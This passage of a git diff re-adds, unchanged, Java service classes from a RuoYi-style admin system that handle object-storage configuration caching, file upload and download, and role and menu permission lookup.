bo) { - SysOssConfig config = MapstructUtils.convert(bo, SysOssConfig.class); - validEntityBeforeSave(config); - LambdaUpdateWrapper luw = new LambdaUpdateWrapper<>(); - luw.set(ObjectUtil.isNull(config.getPrefix()), SysOssConfig::getPrefix, ""); - luw.set(ObjectUtil.isNull(config.getRegion()), SysOssConfig::getRegion, ""); - luw.set(ObjectUtil.isNull(config.getExt1()), SysOssConfig::getExt1, ""); - luw.set(ObjectUtil.isNull(config.getRemark()), SysOssConfig::getRemark, ""); - luw.eq(SysOssConfig::getOssConfigId, config.getOssConfigId()); - boolean flag = baseMapper.update(config, luw) > 0; - if (flag) { - // 从数据库查询完整的数据做缓存 - config = baseMapper.selectById(config.getOssConfigId()); - CacheUtils.put(CacheNames.SYS_OSS_CONFIG, config.getConfigKey(), JsonUtils.toJsonString(config)); - } - return flag; - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(SysOssConfig entity) { - if (StringUtils.isNotEmpty(entity.getConfigKey()) - && !checkConfigKeyUnique(entity)) { - throw new ServiceException("操作配置'" + entity.getConfigKey() + "'失败, 配置key已存在!"); - } - } - - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if (isValid) { - if (CollUtil.containsAny(ids, OssConstant.SYSTEM_DATA_IDS)) { - throw new ServiceException("系统内置, 不可删除!"); - } - } - List list = CollUtil.newArrayList(); - for (Long configId : ids) { - SysOssConfig config = baseMapper.selectById(configId); - list.add(config); - } - boolean flag = baseMapper.deleteByIds(ids) > 0; - if (flag) { - list.forEach(sysOssConfig -> - CacheUtils.evict(CacheNames.SYS_OSS_CONFIG, sysOssConfig.getConfigKey())); - } - return flag; - } - - /** - * 判断configKey是否唯一 - */ - private boolean checkConfigKeyUnique(SysOssConfig sysOssConfig) { - long ossConfigId = ObjectUtils.notNull(sysOssConfig.getOssConfigId(), -1L); - SysOssConfig info = baseMapper.selectOne(new LambdaQueryWrapper() - .select(SysOssConfig::getOssConfigId, SysOssConfig::getConfigKey) - .eq(SysOssConfig::getConfigKey, sysOssConfig.getConfigKey())); - if (ObjectUtil.isNotNull(info) && info.getOssConfigId() != ossConfigId) { - return false; - } - return true; - } - - /** - * 启用禁用状态 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public int updateOssConfigStatus(SysOssConfigBo bo) { - SysOssConfig sysOssConfig = MapstructUtils.convert(bo, SysOssConfig.class); - int row = baseMapper.update(null, new LambdaUpdateWrapper() - .set(SysOssConfig::getStatus, "1")); - row += baseMapper.updateById(sysOssConfig); - if (row > 0) { - RedisUtils.setCacheObject(OssConstant.DEFAULT_CONFIG_KEY, sysOssConfig.getConfigKey()); - } - return row; - } - -} +package org.dromara.system.service.impl; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.constant.CacheNames; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.ObjectUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.json.utils.JsonUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.oss.constant.OssConstant; +import org.dromara.common.redis.utils.CacheUtils; +import org.dromara.common.redis.utils.RedisUtils; +import org.dromara.system.domain.SysOssConfig; +import org.dromara.system.domain.bo.SysOssConfigBo; +import org.dromara.system.domain.vo.SysOssConfigVo; +import org.dromara.system.mapper.SysOssConfigMapper; +import org.dromara.system.service.ISysOssConfigService; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +import java.util.Collection; +import java.util.List; + +/** + * 对象存储配置Service业务层处理 + * + * @author Lion Li + * @author 孤舟烟雨 + * @date 2021-08-13 + */ +@Slf4j +@RequiredArgsConstructor +@Service +public class SysOssConfigServiceImpl implements ISysOssConfigService { + + private final SysOssConfigMapper baseMapper; + + /** + * 项目启动时,初始化参数到缓存,加载配置类 + */ + @Override + public void init() { + List list = baseMapper.selectList(); + // 加载OSS初始化配置 + for (SysOssConfig config : list) { + String configKey = config.getConfigKey(); + if ("0".equals(config.getStatus())) { + RedisUtils.setCacheObject(OssConstant.DEFAULT_CONFIG_KEY, configKey); + } + CacheUtils.put(CacheNames.SYS_OSS_CONFIG, config.getConfigKey(), JsonUtils.toJsonString(config)); + } + } + + @Override + public SysOssConfigVo queryById(Long ossConfigId) { + return baseMapper.selectVoById(ossConfigId); + } + + @Override + public TableDataInfo queryPageList(SysOssConfigBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + + private LambdaQueryWrapper buildQueryWrapper(SysOssConfigBo bo) { + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.eq(StringUtils.isNotBlank(bo.getConfigKey()), SysOssConfig::getConfigKey, bo.getConfigKey()); + lqw.like(StringUtils.isNotBlank(bo.getBucketName()), SysOssConfig::getBucketName, bo.getBucketName()); + lqw.eq(StringUtils.isNotBlank(bo.getStatus()), SysOssConfig::getStatus, bo.getStatus()); + lqw.orderByAsc(SysOssConfig::getOssConfigId); + return lqw; + } + + @Override + public Boolean insertByBo(SysOssConfigBo bo) { + SysOssConfig config = MapstructUtils.convert(bo, SysOssConfig.class); + validEntityBeforeSave(config); + boolean flag = baseMapper.insert(config) > 0; + if (flag) { + // 从数据库查询完整的数据做缓存 + config = baseMapper.selectById(config.getOssConfigId()); + CacheUtils.put(CacheNames.SYS_OSS_CONFIG, config.getConfigKey(), JsonUtils.toJsonString(config)); + } + return flag; + } + + @Override + public Boolean updateByBo(SysOssConfigBo bo) { + SysOssConfig config = MapstructUtils.convert(bo, SysOssConfig.class); + validEntityBeforeSave(config); + LambdaUpdateWrapper luw = new LambdaUpdateWrapper<>(); + luw.set(ObjectUtil.isNull(config.getPrefix()), SysOssConfig::getPrefix, ""); + luw.set(ObjectUtil.isNull(config.getRegion()), SysOssConfig::getRegion, ""); + luw.set(ObjectUtil.isNull(config.getExt1()), SysOssConfig::getExt1, ""); + luw.set(ObjectUtil.isNull(config.getRemark()), SysOssConfig::getRemark, ""); + luw.eq(SysOssConfig::getOssConfigId, config.getOssConfigId()); + boolean flag = baseMapper.update(config, luw) > 0; + if (flag) { + // 从数据库查询完整的数据做缓存 + config = baseMapper.selectById(config.getOssConfigId()); + CacheUtils.put(CacheNames.SYS_OSS_CONFIG, config.getConfigKey(), JsonUtils.toJsonString(config)); + } + return flag; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(SysOssConfig entity) { + if (StringUtils.isNotEmpty(entity.getConfigKey()) + && !checkConfigKeyUnique(entity)) { + throw new ServiceException("操作配置'" + entity.getConfigKey() + "'失败, 配置key已存在!"); + } + } + + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if (isValid) { + if (CollUtil.containsAny(ids, OssConstant.SYSTEM_DATA_IDS)) { + throw new ServiceException("系统内置, 不可删除!"); + } + } + List list = CollUtil.newArrayList(); + for (Long configId : ids) { + SysOssConfig config = baseMapper.selectById(configId); + list.add(config); + } + boolean flag = baseMapper.deleteByIds(ids) > 0; + if (flag) { + list.forEach(sysOssConfig -> + CacheUtils.evict(CacheNames.SYS_OSS_CONFIG, sysOssConfig.getConfigKey())); + } + return flag; + } + + /** + * 判断configKey是否唯一 + */ + private boolean checkConfigKeyUnique(SysOssConfig sysOssConfig) { + long ossConfigId = ObjectUtils.notNull(sysOssConfig.getOssConfigId(), -1L); + SysOssConfig info = baseMapper.selectOne(new LambdaQueryWrapper() + .select(SysOssConfig::getOssConfigId, SysOssConfig::getConfigKey) + .eq(SysOssConfig::getConfigKey, sysOssConfig.getConfigKey())); + if (ObjectUtil.isNotNull(info) && info.getOssConfigId() != ossConfigId) { + return false; + } + return true; + } + + /** + * 启用禁用状态 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public int updateOssConfigStatus(SysOssConfigBo bo) { + SysOssConfig sysOssConfig = MapstructUtils.convert(bo, SysOssConfig.class); + int row = baseMapper.update(null, new LambdaUpdateWrapper() + .set(SysOssConfig::getStatus, "1")); + row += baseMapper.updateById(sysOssConfig); + if (row > 0) { + RedisUtils.setCacheObject(OssConstant.DEFAULT_CONFIG_KEY, sysOssConfig.getConfigKey()); + } + return row; + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysOssServiceImpl.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysOssServiceImpl.java index f58f061..dc1632e 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysOssServiceImpl.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysOssServiceImpl.java @@ -1,269 +1,269 @@ -package org.dromara.system.service.impl; - -import cn.hutool.core.bean.BeanUtil; -import cn.hutool.core.convert.Convert; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import jakarta.servlet.http.HttpServletResponse; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.constant.CacheNames; -import org.dromara.common.core.domain.dto.OssDTO; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.service.OssService; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.core.utils.file.FileUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.oss.core.OssClient; -import org.dromara.common.oss.entity.UploadResult; -import org.dromara.common.oss.enumd.AccessPolicyType; -import org.dromara.common.oss.factory.OssFactory; -import org.dromara.system.domain.SysOss; -import org.dromara.system.domain.bo.SysOssBo; -import org.dromara.system.domain.vo.SysOssVo; -import org.dromara.system.mapper.SysOssMapper; -import org.dromara.system.service.ISysOssService; -import org.jetbrains.annotations.NotNull; -import org.springframework.cache.annotation.Cacheable; -import org.springframework.http.MediaType; -import org.springframework.stereotype.Service; -import org.springframework.web.multipart.MultipartFile; - -import java.io.File; -import java.io.IOException; -import java.util.ArrayList; -import java.util.Collection; -import java.util.List; -import java.util.Map; - -/** - * 文件上传 服务层实现 - * - * @author Lion Li - */ -@RequiredArgsConstructor -@Service -public class SysOssServiceImpl implements ISysOssService, OssService { - - private final SysOssMapper baseMapper; - - /** - * 查询OSS对象存储列表 - * - * @param bo OSS对象存储分页查询对象 - * @param pageQuery 分页查询实体类 - * @return 结果 - */ - @Override - public TableDataInfo queryPageList(SysOssBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - List filterResult = StreamUtils.toList(result.getRecords(), this::matchingUrl); - result.setRecords(filterResult); - return TableDataInfo.build(result); - } - - /** - * 根据一组 ossIds 获取对应的 SysOssVo 列表 - * - * @param ossIds 一组文件在数据库中的唯一标识集合 - * @return 包含 SysOssVo 对象的列表 - */ - @Override - public List listByIds(Collection ossIds) { - List list = new ArrayList<>(); - SysOssServiceImpl ossService = SpringUtils.getAopProxy(this); - for (Long id : ossIds) { - SysOssVo vo = ossService.getById(id); - if (ObjectUtil.isNotNull(vo)) { - try { - list.add(this.matchingUrl(vo)); - } catch (Exception ignored) { - // 如果oss异常无法连接则将数据直接返回 - list.add(vo); - } - } - } - return list; - } - - /** - * 根据一组 ossIds 获取对应文件的 URL 列表 - * - * @param ossIds 以逗号分隔的 ossId 字符串 - * @return 以逗号分隔的文件 URL 字符串 - */ - @Override - public String selectUrlByIds(String ossIds) { - List list = new ArrayList<>(); - SysOssServiceImpl ossService = SpringUtils.getAopProxy(this); - for (Long id : StringUtils.splitTo(ossIds, Convert::toLong)) { - SysOssVo vo = ossService.getById(id); - if (ObjectUtil.isNotNull(vo)) { - try { - list.add(this.matchingUrl(vo).getUrl()); - } catch (Exception ignored) { - // 如果oss异常无法连接则将数据直接返回 - list.add(vo.getUrl()); - } - } - } - return String.join(StringUtils.SEPARATOR, list); - } - - @Override - public List selectByIds(String ossIds) { - List list = new ArrayList<>(); - for (Long id : StringUtils.splitTo(ossIds, Convert::toLong)) { - SysOssVo vo = SpringUtils.getAopProxy(this).getById(id); - if (ObjectUtil.isNotNull(vo)) { - try { - vo.setUrl(this.matchingUrl(vo).getUrl()); - list.add(BeanUtil.toBean(vo, OssDTO.class)); - } catch (Exception ignored) { - // 如果oss异常无法连接则将数据直接返回 - list.add(BeanUtil.toBean(vo, OssDTO.class)); - } - } - } - return list; - } - - private LambdaQueryWrapper buildQueryWrapper(SysOssBo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.like(StringUtils.isNotBlank(bo.getFileName()), SysOss::getFileName, bo.getFileName()); - lqw.like(StringUtils.isNotBlank(bo.getOriginalName()), SysOss::getOriginalName, bo.getOriginalName()); - lqw.eq(StringUtils.isNotBlank(bo.getFileSuffix()), SysOss::getFileSuffix, bo.getFileSuffix()); - lqw.eq(StringUtils.isNotBlank(bo.getUrl()), SysOss::getUrl, bo.getUrl()); - lqw.between(params.get("beginCreateTime") != null && params.get("endCreateTime") != null, - SysOss::getCreateTime, params.get("beginCreateTime"), params.get("endCreateTime")); - lqw.eq(ObjectUtil.isNotNull(bo.getCreateBy()), SysOss::getCreateBy, bo.getCreateBy()); - lqw.eq(StringUtils.isNotBlank(bo.getService()), SysOss::getService, bo.getService()); - lqw.orderByAsc(SysOss::getOssId); - return lqw; - } - - /** - * 根据 ossId 从缓存或数据库中获取 SysOssVo 对象 - * - * @param ossId 文件在数据库中的唯一标识 - * @return SysOssVo 对象,包含文件信息 - */ - @Cacheable(cacheNames = CacheNames.SYS_OSS, key = "#ossId") - @Override - public SysOssVo getById(Long ossId) { - return baseMapper.selectVoById(ossId); - } - - - /** - * 文件下载方法,支持一次性下载完整文件 - * - * @param ossId OSS对象ID - * @param response HttpServletResponse对象,用于设置响应头和向客户端发送文件内容 - */ - @Override - public void download(Long ossId, HttpServletResponse response) throws IOException { - SysOssVo sysOss = SpringUtils.getAopProxy(this).getById(ossId); - if (ObjectUtil.isNull(sysOss)) { - throw new ServiceException("文件数据不存在!"); - } - FileUtils.setAttachmentResponseHeader(response, sysOss.getOriginalName()); - response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE + "; charset=UTF-8"); - OssClient storage = OssFactory.instance(sysOss.getService()); - long contentLength = storage.download(sysOss.getFileName(), response.getOutputStream()); - response.setContentLengthLong(contentLength); - } - - /** - * 上传 MultipartFile 到对象存储服务,并保存文件信息到数据库 - * - * @param file 要上传的 MultipartFile 对象 - * @return 上传成功后的 SysOssVo 对象,包含文件信息 - * @throws ServiceException 如果上传过程中发生异常,则抛出 ServiceException 异常 - */ - @Override - public SysOssVo upload(MultipartFile file) { - String originalfileName = file.getOriginalFilename(); - String suffix = StringUtils.substring(originalfileName, originalfileName.lastIndexOf("."), originalfileName.length()); - OssClient storage = OssFactory.instance(); - UploadResult uploadResult; - try { - uploadResult = storage.uploadSuffix(file.getBytes(), suffix, file.getContentType()); - } catch (IOException e) { - throw new ServiceException(e.getMessage()); - } - // 保存文件信息 - return buildResultEntity(originalfileName, suffix, storage.getConfigKey(), uploadResult); - } - - /** - * 上传文件到对象存储服务,并保存文件信息到数据库 - * - * @param file 要上传的文件对象 - * @return 上传成功后的 SysOssVo 对象,包含文件信息 - */ - @Override - public SysOssVo upload(File file) { - String originalfileName = file.getName(); - String suffix = StringUtils.substring(originalfileName, originalfileName.lastIndexOf("."), originalfileName.length()); - OssClient storage = OssFactory.instance(); - UploadResult uploadResult = storage.uploadSuffix(file, suffix); - // 保存文件信息 - return buildResultEntity(originalfileName, suffix, storage.getConfigKey(), uploadResult); - } - - @NotNull - private SysOssVo buildResultEntity(String originalfileName, String suffix, String configKey, UploadResult uploadResult) { - SysOss oss = new SysOss(); - oss.setUrl(uploadResult.getUrl()); - oss.setFileSuffix(suffix); - oss.setFileName(uploadResult.getFilename()); - oss.setOriginalName(originalfileName); - oss.setService(configKey); - baseMapper.insert(oss); - SysOssVo sysOssVo = MapstructUtils.convert(oss, SysOssVo.class); - return this.matchingUrl(sysOssVo); - } - - /** - * 删除OSS对象存储 - * - * @param ids OSS对象ID串 - * @param isValid 判断是否需要校验 - * @return 结果 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if (isValid) { - // 做一些业务上的校验,判断是否需要校验 - } - List list = baseMapper.selectByIds(ids); - for (SysOss sysOss : list) { - OssClient storage = OssFactory.instance(sysOss.getService()); - storage.delete(sysOss.getUrl()); - } - return baseMapper.deleteByIds(ids) > 0; - } - - /** - * 桶类型为 private 的URL 修改为临时URL时长为120s - * - * @param oss OSS对象 - * @return oss 匹配Url的OSS对象 - */ - private SysOssVo matchingUrl(SysOssVo oss) { - OssClient storage = OssFactory.instance(oss.getService()); - // 仅修改桶类型为 private 的URL,临时URL时长为120s - if (AccessPolicyType.PRIVATE == storage.getAccessPolicy()) { - oss.setUrl(storage.getPrivateUrl(oss.getFileName(), 120)); - } - return oss; - } -} +package org.dromara.system.service.impl; + +import cn.hutool.core.bean.BeanUtil; +import cn.hutool.core.convert.Convert; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import jakarta.servlet.http.HttpServletResponse; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.constant.CacheNames; +import org.dromara.common.core.domain.dto.OssDTO; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.service.OssService; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.core.utils.file.FileUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.oss.core.OssClient; +import org.dromara.common.oss.entity.UploadResult; +import org.dromara.common.oss.enumd.AccessPolicyType; +import org.dromara.common.oss.factory.OssFactory; +import org.dromara.system.domain.SysOss; +import org.dromara.system.domain.bo.SysOssBo; +import org.dromara.system.domain.vo.SysOssVo; +import org.dromara.system.mapper.SysOssMapper; +import org.dromara.system.service.ISysOssService; +import org.jetbrains.annotations.NotNull; +import org.springframework.cache.annotation.Cacheable; +import org.springframework.http.MediaType; +import org.springframework.stereotype.Service; +import org.springframework.web.multipart.MultipartFile; + +import java.io.File; +import java.io.IOException; +import java.util.ArrayList; +import java.util.Collection; +import java.util.List; +import java.util.Map; + +/** + * 文件上传 服务层实现 + * + * @author Lion Li + */ +@RequiredArgsConstructor +@Service +public class SysOssServiceImpl implements ISysOssService, OssService { + + private final SysOssMapper baseMapper; + + /** + * 查询OSS对象存储列表 + * + * @param bo OSS对象存储分页查询对象 + * @param pageQuery 分页查询实体类 + * @return 结果 + */ + @Override + public TableDataInfo queryPageList(SysOssBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + List filterResult = StreamUtils.toList(result.getRecords(), this::matchingUrl); + result.setRecords(filterResult); + return TableDataInfo.build(result); + } + + /** + * 根据一组 ossIds 获取对应的 SysOssVo 列表 + * + * @param ossIds 一组文件在数据库中的唯一标识集合 + * @return 包含 SysOssVo 对象的列表 + */ + @Override + public List listByIds(Collection ossIds) { + List list = new ArrayList<>(); + SysOssServiceImpl ossService = SpringUtils.getAopProxy(this); + for (Long id : ossIds) { + SysOssVo vo = ossService.getById(id); + if (ObjectUtil.isNotNull(vo)) { + try { + list.add(this.matchingUrl(vo)); + } catch (Exception ignored) { + // 如果oss异常无法连接则将数据直接返回 + list.add(vo); + } + } + } + return list; + } + + /** + * 根据一组 ossIds 获取对应文件的 URL 列表 + * + * @param ossIds 以逗号分隔的 ossId 字符串 + * @return 以逗号分隔的文件 URL 字符串 + */ + @Override + public String selectUrlByIds(String ossIds) { + List list = new ArrayList<>(); + SysOssServiceImpl ossService = SpringUtils.getAopProxy(this); + for (Long id : StringUtils.splitTo(ossIds, Convert::toLong)) { + SysOssVo vo = ossService.getById(id); + if (ObjectUtil.isNotNull(vo)) { + try { + list.add(this.matchingUrl(vo).getUrl()); + } catch (Exception ignored) { + // 如果oss异常无法连接则将数据直接返回 + list.add(vo.getUrl()); + } + } + } + return String.join(StringUtils.SEPARATOR, list); + } + + @Override + public List selectByIds(String ossIds) { + List list = new ArrayList<>(); + for (Long id : StringUtils.splitTo(ossIds, Convert::toLong)) { + SysOssVo vo = SpringUtils.getAopProxy(this).getById(id); + if (ObjectUtil.isNotNull(vo)) { + try { + vo.setUrl(this.matchingUrl(vo).getUrl()); + list.add(BeanUtil.toBean(vo, OssDTO.class)); + } catch (Exception ignored) { + // 如果oss异常无法连接则将数据直接返回 + list.add(BeanUtil.toBean(vo, OssDTO.class)); + } + } + } + return list; + } + + private LambdaQueryWrapper buildQueryWrapper(SysOssBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.like(StringUtils.isNotBlank(bo.getFileName()), SysOss::getFileName, bo.getFileName()); + lqw.like(StringUtils.isNotBlank(bo.getOriginalName()), SysOss::getOriginalName, bo.getOriginalName()); + lqw.eq(StringUtils.isNotBlank(bo.getFileSuffix()), SysOss::getFileSuffix, bo.getFileSuffix()); + lqw.eq(StringUtils.isNotBlank(bo.getUrl()), SysOss::getUrl, bo.getUrl()); + lqw.between(params.get("beginCreateTime") != null && params.get("endCreateTime") != null, + SysOss::getCreateTime, params.get("beginCreateTime"), params.get("endCreateTime")); + lqw.eq(ObjectUtil.isNotNull(bo.getCreateBy()), SysOss::getCreateBy, bo.getCreateBy()); + lqw.eq(StringUtils.isNotBlank(bo.getService()), SysOss::getService, bo.getService()); + lqw.orderByAsc(SysOss::getOssId); + return lqw; + } + + /** + * 根据 ossId 从缓存或数据库中获取 SysOssVo 对象 + * + * @param ossId 文件在数据库中的唯一标识 + * @return SysOssVo 对象,包含文件信息 + */ + @Cacheable(cacheNames = CacheNames.SYS_OSS, key = "#ossId") + @Override + public SysOssVo getById(Long ossId) { + return baseMapper.selectVoById(ossId); + } + + + /** + * 文件下载方法,支持一次性下载完整文件 + * + * @param ossId OSS对象ID + * @param response HttpServletResponse对象,用于设置响应头和向客户端发送文件内容 + */ + @Override + public void download(Long ossId, HttpServletResponse response) throws IOException { + SysOssVo sysOss = SpringUtils.getAopProxy(this).getById(ossId); + if (ObjectUtil.isNull(sysOss)) { + throw new ServiceException("文件数据不存在!"); + } + FileUtils.setAttachmentResponseHeader(response, sysOss.getOriginalName()); + response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE + "; charset=UTF-8"); + OssClient storage = OssFactory.instance(sysOss.getService()); + long contentLength = storage.download(sysOss.getFileName(), response.getOutputStream()); + response.setContentLengthLong(contentLength); + } + + /** + * 上传 MultipartFile 到对象存储服务,并保存文件信息到数据库 + * + * @param file 要上传的 MultipartFile 对象 + * @return 上传成功后的 SysOssVo 对象,包含文件信息 + * @throws ServiceException 如果上传过程中发生异常,则抛出 ServiceException 异常 + */ + @Override + public SysOssVo upload(MultipartFile file) { + String originalfileName = file.getOriginalFilename(); + String suffix = StringUtils.substring(originalfileName, originalfileName.lastIndexOf("."), originalfileName.length()); + OssClient storage = OssFactory.instance(); + UploadResult uploadResult; + try { + uploadResult = storage.uploadSuffix(file.getBytes(), suffix, file.getContentType()); + } catch (IOException e) { + throw new ServiceException(e.getMessage()); + } + // 保存文件信息 + return buildResultEntity(originalfileName, suffix, storage.getConfigKey(), uploadResult); + } + + /** + * 上传文件到对象存储服务,并保存文件信息到数据库 + * + * @param file 要上传的文件对象 + * @return 上传成功后的 SysOssVo 对象,包含文件信息 + */ + @Override + public SysOssVo upload(File file) { + String originalfileName = file.getName(); + String suffix = StringUtils.substring(originalfileName, originalfileName.lastIndexOf("."), originalfileName.length()); + OssClient storage = OssFactory.instance(); + UploadResult uploadResult = storage.uploadSuffix(file, suffix); + // 保存文件信息 + return buildResultEntity(originalfileName, suffix, storage.getConfigKey(), uploadResult); + } + + @NotNull + private SysOssVo buildResultEntity(String originalfileName, String suffix, String configKey, UploadResult uploadResult) { + SysOss oss = new SysOss(); + oss.setUrl(uploadResult.getUrl()); + oss.setFileSuffix(suffix); + oss.setFileName(uploadResult.getFilename()); + oss.setOriginalName(originalfileName); + oss.setService(configKey); + baseMapper.insert(oss); + SysOssVo sysOssVo = MapstructUtils.convert(oss, SysOssVo.class); + return this.matchingUrl(sysOssVo); + } + + /** + * 删除OSS对象存储 + * + * @param ids OSS对象ID串 + * @param isValid 判断是否需要校验 + * @return 结果 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if (isValid) { + // 做一些业务上的校验,判断是否需要校验 + } + List list = baseMapper.selectByIds(ids); + for (SysOss sysOss : list) { + OssClient storage = OssFactory.instance(sysOss.getService()); + storage.delete(sysOss.getUrl()); + } + return baseMapper.deleteByIds(ids) > 0; + } + + /** + * 桶类型为 private 的URL 修改为临时URL时长为120s + * + * @param oss OSS对象 + * @return oss 匹配Url的OSS对象 + */ + private SysOssVo matchingUrl(SysOssVo oss) { + OssClient storage = OssFactory.instance(oss.getService()); + // 仅修改桶类型为 private 的URL,临时URL时长为120s + if (AccessPolicyType.PRIVATE == storage.getAccessPolicy()) { + oss.setUrl(storage.getPrivateUrl(oss.getFileName(), 120)); + } + return oss; + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysPermissionServiceImpl.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysPermissionServiceImpl.java index 7ccae4b..846e841 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysPermissionServiceImpl.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysPermissionServiceImpl.java @@ -1,61 +1,61 @@ -package org.dromara.system.service.impl; - -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.constant.TenantConstants; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.system.service.ISysMenuService; -import org.dromara.system.service.ISysPermissionService; -import org.dromara.system.service.ISysRoleService; -import org.springframework.stereotype.Service; - -import java.util.HashSet; -import java.util.Set; - -/** - * 用户权限处理 - * - * @author ruoyi - */ -@RequiredArgsConstructor -@Service -public class SysPermissionServiceImpl implements ISysPermissionService { - - private final ISysRoleService roleService; - private final ISysMenuService menuService; - - /** - * 获取角色数据权限 - * - * @param userId 用户id - * @return 角色权限信息 - */ - @Override - public Set getRolePermission(Long userId) { - Set roles = new HashSet<>(); - // 管理员拥有所有权限 - if (LoginHelper.isSuperAdmin(userId)) { - roles.add(TenantConstants.SUPER_ADMIN_ROLE_KEY); - } else { - roles.addAll(roleService.selectRolePermissionByUserId(userId)); - } - return roles; - } - - /** - * 获取菜单数据权限 - * - * @param userId 用户id - * @return 菜单权限信息 - */ - @Override - public Set getMenuPermission(Long userId) { - Set perms = new HashSet<>(); - // 管理员拥有所有权限 - if (LoginHelper.isSuperAdmin(userId)) { - perms.add("*:*:*"); - } else { - perms.addAll(menuService.selectMenuPermsByUserId(userId)); - } - return perms; - } -} +package org.dromara.system.service.impl; + +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.constant.TenantConstants; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.system.service.ISysMenuService; +import org.dromara.system.service.ISysPermissionService; +import org.dromara.system.service.ISysRoleService; +import org.springframework.stereotype.Service; + +import java.util.HashSet; +import java.util.Set; + +/** + * 用户权限处理 + * + * @author ruoyi + */ +@RequiredArgsConstructor +@Service +public class SysPermissionServiceImpl implements ISysPermissionService { + + private final ISysRoleService roleService; + private final ISysMenuService menuService; + + /** + * 获取角色数据权限 + * + * @param userId 用户id + * @return 角色权限信息 + */ + @Override + public Set getRolePermission(Long userId) { + Set roles = new HashSet<>(); + // 管理员拥有所有权限 + if (LoginHelper.isSuperAdmin(userId)) { + roles.add(TenantConstants.SUPER_ADMIN_ROLE_KEY); + } else { + roles.addAll(roleService.selectRolePermissionByUserId(userId)); + } + return roles; + } + + /** + * 获取菜单数据权限 + * + * @param userId 用户id + * @return 菜单权限信息 + */ + @Override + public Set getMenuPermission(Long userId) { + Set perms = new HashSet<>(); + // 管理员拥有所有权限 + if (LoginHelper.isSuperAdmin(userId)) { + perms.add("*:*:*"); + } else { + perms.addAll(menuService.selectMenuPermsByUserId(userId)); + } + return perms; + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysPictureServiceImpl.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysPictureServiceImpl.java index 9ec7662..3985418 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysPictureServiceImpl.java +++ 